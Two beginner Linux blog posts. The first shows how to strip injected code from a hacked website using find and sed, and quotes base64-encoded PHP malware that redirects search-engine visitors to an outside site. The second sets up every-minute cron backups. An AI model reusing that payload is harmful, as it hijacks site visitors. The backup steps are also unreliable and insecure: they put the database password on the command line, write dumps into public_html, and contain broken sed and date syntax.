Remove a sentence from files in linux using SED command


Hi to all,

Today we are going to see the how to remove a sentence or word from any type of files in the linux server. Especially Website developers should know this information.

Sometimes hackers can enter append his code to all index files or all type of files. If suppose our website files are too large. So we could not remove the unwanted script code one by one from each file. But We have solution for this type of bugs. We can remove any of sentence or word using a single line of command in linux operating system. Now we can see how it will work.

If we want to remove a sample sentence for root and sub directory files.
Example folder:

/home/manimaran/public_html/training/
/home/manimaran/public_html/training/test1/
/home/manimaran/public_html/training/test2/
/home/manimaran/public_html/training/test3/

We have remove this sentence to all folders.
Example sentence:
DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29t

Just connect with your server via Shell Terminal. Putty software for windows and Linux for g-nome terminal.

Just do this way.

> first_string = DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29t

> second_string = KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vY29zdGFicmF2YS5iZWUucGwvIik7DQpleGl0KCk7DQp9DQp9DQp9DQp9

> find /home/manimaran/public_html/training/. -type f | while read -r file
> do
> sed -i "s/$first_string//g" "$file"
> sed -i "s/$second_string//g" "$file"
> sed -i 's/sample//g' "$file"
> done

Thats it. You can remove a word like this way
> sed -i 's/sample//g' "$file"
sample

Now all matched patterns are replaced by empty value.

I hope this helps some one.

If you have any clarifications you can comment here.

Thanks.

Advertisements

How to create a cron for files and sql backup every day, every week or every minute on Linux


Hi to All,

Today i will explain how to handle the cron jobs on linux servers. It helps lot for Website development Guys. Here is the step by step process.

Target : We will create a cron for backup files and sql file using linux commands at every minute.

Step 1: Sql file generate every minute with certain location. We need to know database name, Database username and Database User Password.

Database Name: testdatabase
Database User Name: testdatabaseuser
Database User Password: testdatabasepassword

* * * * * mysqldump -u testdatabaseuser -ptestdatabasepassword testdatabase > /home/manimaran/public_html/$(date, +\%Y\%m\%d\%M\%S).sql

First * – minute (0-59),
Second * – hour (0-23),
Third * – day of the month (1-31),
Fourth * – month of the year (1-12),
Fifth * – day of the week (0-6 with 0=Sunday).

That’s it.

How to execute this code for Cron:

Execute this command line from Shell window : crontab -e
Then you can get the editor to edit some things. Here you can insert our cron code like this.

* * * * * mysqldump -u testdatabaseuser -ptestdatabasepassword testdatabase > /home/manimaran/public_html/$(date, +\%Y\%m\%d\%M\%S).sql

Just save it. The cron is Activated Now. If you want to see the cron is enable, please execute the below command

crontab -l

Then, you can see the list of cron jobs of activated. Here after the sql file generates certain location.

Step 2: Website files tar file generate every minute with certain location.

You have to insert some commands to crontab editor, what you have done so far. You can use like this way,

* * * * * tar -zcf /home/manimaran/public_html/backup-$(date -u +\%Y\%m\%d\%M\%S).tar /home/manimaran/public_html/

You should append this command to crontab editor(crontab -e). The tar file will generate every minute to certain location with specific date name.

That’s it. The cron job is ready for Back up files and sql file.

If any thing do you need let me know.

Thanks Guys.